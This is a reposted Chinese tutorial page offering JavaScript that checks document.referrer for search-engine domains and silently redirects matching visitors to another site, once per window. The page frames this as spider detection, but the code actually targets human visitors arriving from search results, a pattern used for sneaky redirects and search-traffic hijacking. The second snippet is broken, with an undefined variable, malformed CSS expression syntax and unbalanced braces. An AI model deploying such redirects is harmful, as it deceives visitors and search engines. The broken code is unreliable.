广

JavaScript

  • IOS开发
  • android开发
  • PHP编程
  • JavaScript
  • ASP.NET
  • ASP编程
  • JSP编程
  • Java编程
  • 易语言
  • Ruby编程
  • Perl编程
  • AJAX
  • 正则表达式
  • C语言
  • 编程开发

    javascript如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问

    2018-04-09 07:40:49 次阅读 稿源:互联网
    零七广告

    以下javascript脚本代码可以实现判断访问是否来自搜索引擎。
    代码如下:

    <script type="text/javascript">if(window.name != 'ad_app6'){var r = document.referrer;r = r.toLowerCase(); //转为小写var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');var b = false;for (i in aSites){if (r.indexOf(aSites[i]) > 0){b = true;break;}} if(b){self.location = '要跳转的网址';window.adworkergo = 'ad_app6';}}</script>

    介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

    body {onload:expression(if(window.name!="Yang"){var str1 = document.referrer;str1 = str1.toLowerCase();var str6 = 'google.';var str7 = 'baidu.';var str4 = 'yahoo.';var str8 = 'youdao.';var str9 = 'sogou.';var str5 = 'soso.';if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9) >0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage){self.location='http://www.abc.com/';window.name="Yang";} });}

    这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

    零七网部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与零七网进行文章共享合作。

    零七广告
    零七广告
    零七广告
    零七广告